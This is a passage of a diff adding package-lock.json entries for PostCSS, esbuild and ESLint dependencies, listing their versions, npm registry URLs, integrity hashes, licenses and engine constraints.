2289+ "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==",
2290+ "license": "CC0-1.0",
2291+ "dependencies": {
2292+ "@csstools/postcss-progressive-custom-properties": "^1.1.0",
2293+ "postcss-value-parser": "^4.2.0"
2294+ },
2295+ "engines": {
2296+ "node": "^12 || ^14 || >=16"
2297+ },
2298+ "funding": {
2299+ "type": "opencollective",
2300+ "url": "https://opencollective.com/csstools"
2301+ },
2302+ "peerDependencies": {
2303+ "postcss": "^8.2"
2304+ }
2305+ },
2306+ "node_modules/@csstools/postcss-is-pseudo-class": {
2307+ "version": "2.0.7",
2308+ "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz",
2309+ "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==",
2310+ "license": "CC0-1.0",
2311+ "dependencies": {
2312+ "@csstools/selector-specificity": "^2.0.0",
2313+ "postcss-selector-parser": "^6.0.10"
2314+ },
2315+ "engines": {
2316+ "node": "^12 || ^14 || >=16"
2317+ },
2318+ "funding": {
2319+ "type": "opencollective",
2320+ "url": "https://opencollective.com/csstools"
2321+ },
2322+ "peerDependencies": {
2323+ "postcss": "^8.2"
2324+ }
2325+ },
2326+ "node_modules/@csstools/postcss-nested-calc": {
2327+ "version": "1.0.0",
2328+ "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz",
2329+ "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==",
2330+ "license": "CC0-1.0",
2331+ "dependencies": {
2332+ "postcss-value-parser": "^4.2.0"
2333+ },
2334+ "engines": {
2335+ "node": "^12 || ^14 || >=16"
2336+ },
2337+ "funding": {
2338+ "type": "opencollective",
2339+ "url": "https://opencollective.com/csstools"
2340+ },
2341+ "peerDependencies": {
2342+ "postcss": "^8.2"
2343+ }
2344+ },
2345+ "node_modules/@csstools/postcss-normalize-display-values": {
2346+ "version": "1.0.1",
2347+ "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz",
2348+ "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==",
2349+ "license": "CC0-1.0",
2350+ "dependencies": {
2351+ "postcss-value-parser": "^4.2.0"
2352+ },
2353+ "engines": {
2354+ "node": "^12 || ^14 || >=16"
2355+ },
2356+ "funding": {
2357+ "type": "opencollective",
2358+ "url": "https://opencollective.com/csstools"
2359+ },
2360+ "peerDependencies": {
2361+ "postcss": "^8.2"
2362+ }
2363+ },
2364+ "node_modules/@csstools/postcss-oklab-function": {
2365+ "version": "1.1.1",
2366+ "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz",
2367+ "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==",
2368+ "license": "CC0-1.0",
2369+ "dependencies": {
2370+ "@csstools/postcss-progressive-custom-properties": "^1.1.0",
2371+ "postcss-value-parser": "^4.2.0"
2372+ },
2373+ "engines": {
2374+ "node": "^12 || ^14 || >=16"
2375+ },
2376+ "funding": {
2377+ "type": "opencollective",
2378+ "url": "https://opencollective.com/csstools"
2379+ },
2380+ "peerDependencies": {
2381+ "postcss": "^8.2"
2382+ }
2383+ },
2384+ "node_modules/@csstools/postcss-progressive-custom-properties": {
2385+ "version": "1.3.0",
2386+ "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz",
2387+ "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==",
2388+ "license": "CC0-1.0",
2389+ "dependencies": {
2390+ "postcss-value-parser": "^4.2.0"
2391+ },
2392+ "engines": {
2393+ "node": "^12 || ^14 || >=16"
2394+ },
2395+ "peerDependencies": {
2396+ "postcss": "^8.3"
2397+ }
2398+ },
2399+ "node_modules/@csstools/postcss-stepped-value-functions": {
2400+ "version": "1.0.1",
2401+ "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz",
2402+ "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==",
2403+ "license": "CC0-1.0",
2404+ "dependencies": {
2405+ "postcss-value-parser": "^4.2.0"
2406+ },
2407+ "engines": {
2408+ "node": "^12 || ^14 || >=16"
2409+ },
2410+ "funding": {
2411+ "type": "opencollective",
2412+ "url": "https://opencollective.com/csstools"
2413+ },
2414+ "peerDependencies": {
2415+ "postcss": "^8.2"
2416+ }
2417+ },
2418+ "node_modules/@csstools/postcss-text-decoration-shorthand": {
2419+ "version": "1.0.0",
2420+ "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz",
2421+ "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==",
2422+ "license": "CC0-1.0",
2423+ "dependencies": {
2424+ "postcss-value-parser": "^4.2.0"
2425+ },
2426+ "engines": {
2427+ "node": "^12 || ^14 || >=16"
2428+ },
2429+ "funding": {
2430+ "type": "opencollective",
2431+ "url": "https://opencollective.com/csstools"
2432+ },
2433+ "peerDependencies": {
2434+ "postcss": "^8.2"
2435+ }
2436+ },
2437+ "node_modules/@csstools/postcss-trigonometric-functions": {
2438+ "version": "1.0.2",
2439+ "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz",
2440+ "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==",
2441+ "license": "CC0-1.0",
2442+ "dependencies": {
2443+ "postcss-value-parser": "^4.2.0"
2444+ },
2445+ "engines": {
2446+ "node": "^14 || >=16"
2447+ },
2448+ "funding": {
2449+ "type": "opencollective",
2450+ "url": "https://opencollective.com/csstools"
2451+ },
2452+ "peerDependencies": {
2453+ "postcss": "^8.2"
2454+ }
2455+ },
2456+ "node_modules/@csstools/postcss-unset-value": {
2457+ "version": "1.0.2",
2458+ "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz",
2459+ "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==",
2460+ "license": "CC0-1.0",
2461+ "engines": {
2462+ "node": "^12 || ^14 || >=16"
2463+ },
2464+ "funding": {
2465+ "type": "opencollective",
2466+ "url": "https://opencollective.com/csstools"
2467+ },
2468+ "peerDependencies": {
2469+ "postcss": "^8.2"
2470+ }
2471+ },
2472+ "node_modules/@csstools/selector-specificity": {
2473+ "version": "2.2.0",
2474+ "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.2.0.tgz",
2475+ "integrity": "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw==",
2476+ "license": "CC0-1.0",
2477+ "engines": {
2478+ "node": "^14 || ^16 || >=18"
2479+ },
2480+ "funding": {
2481+ "type": "opencollective",
2482+ "url": "https://opencollective.com/csstools"
2483+ },
2484+ "peerDependencies": {
2485+ "postcss-selector-parser": "^6.0.10"
2486+ }
2487+ },
2488+ "node_modules/@dimforge/rapier3d-compat": {
2489+ "version": "0.12.0",
2490+ "resolved": "https://registry.npmjs.org/@dimforge/rapier3d-compat/-/rapier3d-compat-0.12.0.tgz",
2491+ "integrity": "sha512-uekIGetywIgopfD97oDL5PfeezkFpNhwlzlaEYNOA0N6ghdsOvh/HYjSMek5Q2O1PYvRSDFcqFVJl4r4ZBwOow==",
2492+ "license": "Apache-2.0"
2493+ },
2494+ "node_modules/@esbuild/aix-ppc64": {
2495+ "version": "0.25.12",
2496+ "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
2497+ "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==",
2498+ "cpu": [
2499+ "ppc64"
2500+ ],
2501+ "license": "MIT",
2502+ "optional": true,
2503+ "os": [
2504+ "aix"
2505+ ],
2506+ "peer": true,
2507+ "engines": {
2508+ "node": ">=18"
2509+ }
2510+ },
2511+ "node_modules/@esbuild/android-arm": {
2512+ "version": "0.25.12",
2513+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
2514+ "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==",
2515+ "cpu": [
2516+ "arm"
2517+ ],
2518+ "license": "MIT",
2519+ "optional": true,
2520+ "os": [
2521+ "android"
2522+ ],
2523+ "peer": true,
2524+ "engines": {
2525+ "node": ">=18"
2526+ }
2527+ },
2528+ "node_modules/@esbuild/android-arm64": {
2529+ "version": "0.25.12",
2530+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
2531+ "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==",
2532+ "cpu": [
2533+ "arm64"
2534+ ],
2535+ "license": "MIT",
2536+ "optional": true,
2537+ "os": [
2538+ "android"
2539+ ],
2540+ "peer": true,
2541+ "engines": {
2542+ "node": ">=18"
2543+ }
2544+ },
2545+ "node_modules/@esbuild/android-x64": {
2546+ "version": "0.25.12",
2547+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
2548+ "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==",
2549+ "cpu": [
2550+ "x64"
2551+ ],
2552+ "license": "MIT",
2553+ "optional": true,
2554+ "os": [
2555+ "android"
2556+ ],
2557+ "peer": true,
2558+ "engines": {
2559+ "node": ">=18"
2560+ }
2561+ },
2562+ "node_modules/@esbuild/darwin-arm64": {
2563+ "version": "0.25.12",
2564+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
2565+ "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==",
2566+ "cpu": [
2567+ "arm64"
2568+ ],
2569+ "license": "MIT",
2570+ "optional": true,
2571+ "os": [
2572+ "darwin"
2573+ ],
2574+ "peer": true,
2575+ "engines": {
2576+ "node": ">=18"
2577+ }
2578+ },
2579+ "node_modules/@esbuild/darwin-x64": {
2580+ "version": "0.25.12",
2581+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
2582+ "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==",
2583+ "cpu": [
2584+ "x64"
2585+ ],
2586+ "license": "MIT",
2587+ "optional": true,
2588+ "os": [
2589+ "darwin"
2590+ ],
2591+ "peer": true,
2592+ "engines": {
2593+ "node": ">=18"
2594+ }
2595+ },
2596+ "node_modules/@esbuild/freebsd-arm64": {
2597+ "version": "0.25.12",
2598+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
2599+ "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==",
2600+ "cpu": [
2601+ "arm64"
2602+ ],
2603+ "license": "MIT",
2604+ "optional": true,
2605+ "os": [
2606+ "freebsd"
2607+ ],
2608+ "peer": true,
2609+ "engines": {
2610+ "node": ">=18"
2611+ }
2612+ },
2613+ "node_modules/@esbuild/freebsd-x64": {
2614+ "version": "0.25.12",
2615+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
2616+ "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==",
2617+ "cpu": [
2618+ "x64"
2619+ ],
2620+ "license": "MIT",
2621+ "optional": true,
2622+ "os": [
2623+ "freebsd"
2624+ ],
2625+ "peer": true,
2626+ "engines": {
2627+ "node": ">=18"
2628+ }
2629+ },
2630+ "node_modules/@esbuild/linux-arm": {
2631+ "version": "0.25.12",
2632+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
2633+ "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==",
2634+ "cpu": [
2635+ "arm"
2636+ ],
2637+ "license": "MIT",
2638+ "optional": true,
2639+ "os": [
2640+ "linux"
2641+ ],
2642+ "peer": true,
2643+ "engines": {
2644+ "node": ">=18"
2645+ }
2646+ },
2647+ "node_modules/@esbuild/linux-arm64": {
2648+ "version": "0.25.12",
2649+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
2650+ "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==",
2651+ "cpu": [
2652+ "arm64"
2653+ ],
2654+ "license": "MIT",
2655+ "optional": true,
2656+ "os": [
2657+ "linux"
2658+ ],
2659+ "peer": true,
2660+ "engines": {
2661+ "node": ">=18"
2662+ }
2663+ },
2664+ "node_modules/@esbuild/linux-ia32": {
2665+ "version": "0.25.12",
2666+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
2667+ "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==",
2668+ "cpu": [
2669+ "ia32"
2670+ ],
2671+ "license": "MIT",
2672+ "optional": true,
2673+ "os": [
2674+ "linux"
2675+ ],
2676+ "peer": true,
2677+ "engines": {
2678+ "node": ">=18"
2679+ }
2680+ },
2681+ "node_modules/@esbuild/linux-loong64": {
2682+ "version": "0.25.12",
2683+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
2684+ "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==",
2685+ "cpu": [
2686+ "loong64"
2687+ ],
2688+ "license": "MIT",
2689+ "optional": true,
2690+ "os": [
2691+ "linux"
2692+ ],
2693+ "peer": true,
2694+ "engines": {
2695+ "node": ">=18"
2696+ }
2697+ },
2698+ "node_modules/@esbuild/linux-mips64el": {
2699+ "version": "0.25.12",
2700+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
2701+ "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==",
2702+ "cpu": [
2703+ "mips64el"
2704+ ],
2705+ "license": "MIT",
2706+ "optional": true,
2707+ "os": [
2708+ "linux"
2709+ ],
2710+ "peer": true,
2711+ "engines": {
2712+ "node": ">=18"
2713+ }
2714+ },
2715+ "node_modules/@esbuild/linux-ppc64": {
2716+ "version": "0.25.12",
2717+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
2718+ "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==",
2719+ "cpu": [
2720+ "ppc64"
2721+ ],
2722+ "license": "MIT",
2723+ "optional": true,
2724+ "os": [
2725+ "linux"
2726+ ],
2727+ "peer": true,
2728+ "engines": {
2729+ "node": ">=18"
2730+ }
2731+ },
2732+ "node_modules/@esbuild/linux-riscv64": {
2733+ "version": "0.25.12",
2734+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
2735+ "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==",
2736+ "cpu": [
2737+ "riscv64"
2738+ ],
2739+ "license": "MIT",
2740+ "optional": true,
2741+ "os": [
2742+ "linux"
2743+ ],
2744+ "peer": true,
2745+ "engines": {
2746+ "node": ">=18"
2747+ }
2748+ },
2749+ "node_modules/@esbuild/linux-s390x": {
2750+ "version": "0.25.12",
2751+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
2752+ "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==",
2753+ "cpu": [
2754+ "s390x"
2755+ ],
2756+ "license": "MIT",
2757+ "optional": true,
2758+ "os": [
2759+ "linux"
2760+ ],
2761+ "peer": true,
2762+ "engines": {
2763+ "node": ">=18"
2764+ }
2765+ },
2766+ "node_modules/@esbuild/linux-x64": {
2767+ "version": "0.25.12",
2768+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
2769+ "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==",
2770+ "cpu": [
2771+ "x64"
2772+ ],
2773+ "license": "MIT",
2774+ "optional": true,
2775+ "os": [
2776+ "linux"
2777+ ],
2778+ "peer": true,
2779+ "engines": {
2780+ "node": ">=18"
2781+ }
2782+ },
2783+ "node_modules/@esbuild/netbsd-arm64": {
2784+ "version": "0.25.12",
2785+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
2786+ "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==",
2787+ "cpu": [
2788+ "arm64"
2789+ ],
2790+ "license": "MIT",
2791+ "optional": true,
2792+ "os": [
2793+ "netbsd"
2794+ ],
2795+ "peer": true,
2796+ "engines": {
2797+ "node": ">=18"
2798+ }
2799+ },
2800+ "node_modules/@esbuild/netbsd-x64": {
2801+ "version": "0.25.12",
2802+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
2803+ "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==",
2804+ "cpu": [
2805+ "x64"
2806+ ],
2807+ "license": "MIT",
2808+ "optional": true,
2809+ "os": [
2810+ "netbsd"
2811+ ],
2812+ "peer": true,
2813+ "engines": {
2814+ "node": ">=18"
2815+ }
2816+ },
2817+ "node_modules/@esbuild/openbsd-arm64": {
2818+ "version": "0.25.12",
2819+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
2820+ "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==",
2821+ "cpu": [
2822+ "arm64"
2823+ ],
2824+ "license": "MIT",
2825+ "optional": true,
2826+ "os": [
2827+ "openbsd"
2828+ ],
2829+ "peer": true,
2830+ "engines": {
2831+ "node": ">=18"
2832+ }
2833+ },
2834+ "node_modules/@esbuild/openbsd-x64": {
2835+ "version": "0.25.12",
2836+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
2837+ "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==",
2838+ "cpu": [
2839+ "x64"
2840+ ],
2841+ "license": "MIT",
2842+ "optional": true,
2843+ "os": [
2844+ "openbsd"
2845+ ],
2846+ "peer": true,
2847+ "engines": {
2848+ "node": ">=18"
2849+ }
2850+ },
2851+ "node_modules/@esbuild/openharmony-arm64": {
2852+ "version": "0.25.12",
2853+ "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
2854+ "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==",
2855+ "cpu": [
2856+ "arm64"
2857+ ],
2858+ "license": "MIT",
2859+ "optional": true,
2860+ "os": [
2861+ "openharmony"
2862+ ],
2863+ "peer": true,
2864+ "engines": {
2865+ "node": ">=18"
2866+ }
2867+ },
2868+ "node_modules/@esbuild/sunos-x64": {
2869+ "version": "0.25.12",
2870+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
2871+ "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==",
2872+ "cpu": [
2873+ "x64"
2874+ ],
2875+ "license": "MIT",
2876+ "optional": true,
2877+ "os": [
2878+ "sunos"
2879+ ],
2880+ "peer": true,
2881+ "engines": {
2882+ "node": ">=18"
2883+ }
2884+ },
2885+ "node_modules/@esbuild/win32-arm64": {
2886+ "version": "0.25.12",
2887+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
2888+ "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==",
2889+ "cpu": [
2890+ "arm64"
2891+ ],
2892+ "license": "MIT",
2893+ "optional": true,
2894+ "os": [
2895+ "win32"
2896+ ],
2897+ "peer": true,
2898+ "engines": {
2899+ "node": ">=18"
2900+ }
2901+ },
2902+ "node_modules/@esbuild/win32-ia32": {
2903+ "version": "0.25.12",
2904+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
2905+ "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==",
2906+ "cpu": [
2907+ "ia32"
2908+ ],
2909+ "license": "MIT",
2910+ "optional": true,
2911+ "os": [
2912+ "win32"
2913+ ],
2914+ "peer": true,
2915+ "engines": {
2916+ "node": ">=18"
2917+ }
2918+ },
2919+ "node_modules/@esbuild/win32-x64": {
2920+ "version": "0.25.12",
2921+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
2922+ "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==",
2923+ "cpu": [
2924+ "x64"
2925+ ],
2926+ "license": "MIT",
2927+ "optional": true,
2928+ "os": [
2929+ "win32"
2930+ ],
2931+ "peer": true,
2932+ "engines": {
2933+ "node": ">=18"
2934+ }
2935+ },
2936+ "node_modules/@eslint-community/eslint-utils": {
2937+ "version": "4.9.0",
2938+ "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.0.tgz",
2939+ "integrity": "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==",
2940+ "license": "MIT",
2941+ "dependencies": {
2942+ "eslint-visitor-keys": "^3.4.3"
2943+ },
2944+ "engines": {
2945+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
2946+ },
2947+ "funding": {
2948+ "url": "https://opencollective.com/eslint"
2949+ },
2950+ "peerDependencies": {
2951+ "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0"
2952+ }
2953+ },
2954+ "node_modules/@eslint-community/regexpp": {
2955+ "version": "4.12.2",
2956+ "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz",
2957+ "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==",
2958+ "license": "MIT",
2959+ "engines": {
2960+ "node": "^12.0.0 || ^14.0.0 || >=16.0.0"
2961+ }
2962+ },
2963+ "node_modules/@eslint/eslintrc": {
2964+ "version": "2.1.4",
2965+ "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz",
2966+ "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==",
2967+ "license": "MIT",
2968+ "dependencies": {
2969+ "ajv": "^6.12.4",
2970+ "debug": "^4.3.2",
2971+ "espree": "^9.6.0",
2972+ "globals": "^13.19.0",
2973+ "ignore": "^5.2.0",
2974+ "import-fresh": "^3.2.1",
2975+ "js-yaml": "^4.1.0",
2976+ "minimatch": "^3.1.2",
2977+ "strip-json-comments": "^3.1.1"
2978+ },
2979+ "engines": {
2980+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
2981+ },
2982+ "funding": {
2983+ "url": "https://opencollective.com/eslint"
2984+ }
2985+ },
2986+ "node_modules/@eslint/eslintrc/node_modules/argparse": {
2987+ "version": "2.0.1",
2988+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
2989+ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
2990+ "license": "Python-2.0"
2991+ },
2992+ "node_modules/@eslint/eslintrc/node_modules/debug": {
2993+ "version": "4.4.3",
2994+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
2995+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
2996+ "license": "MIT",
2997+ "dependencies": {
2998+ "ms": "^2.1.3"
2999+ },
3000+ "engines": {
3001+ "node": ">=6.0"
3002+ },
3003+ "peerDependenciesMeta": {
3004+ "supports-color": {
3005+ "optional": true
3006+ }
3007+ }
3008+ },
3009+ "node_modules/@eslint/eslintrc/node_modules/js-yaml": {
3010+ "version": "4.1.1",
3011+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
3012+ "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
3013+ "license": "MIT",
3014+ "dependencies": {
3015+ "argparse": "^2.0.1"
3016+ },
3017+ "bin": {
3018+ "js-yaml": "bin/js-yaml.js"
3019+ }
3020+ },
3021+ "node_modules/@eslint/eslintrc/node_modules/ms": {
3022+ "version": "2.1.3",
3023+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
3024+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
3025+ "license": "MIT"
3026+ },
3027+ "node_modules/@eslint/js": {
3028+ "version": "8.57.1",
3029+ "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.1.tgz",
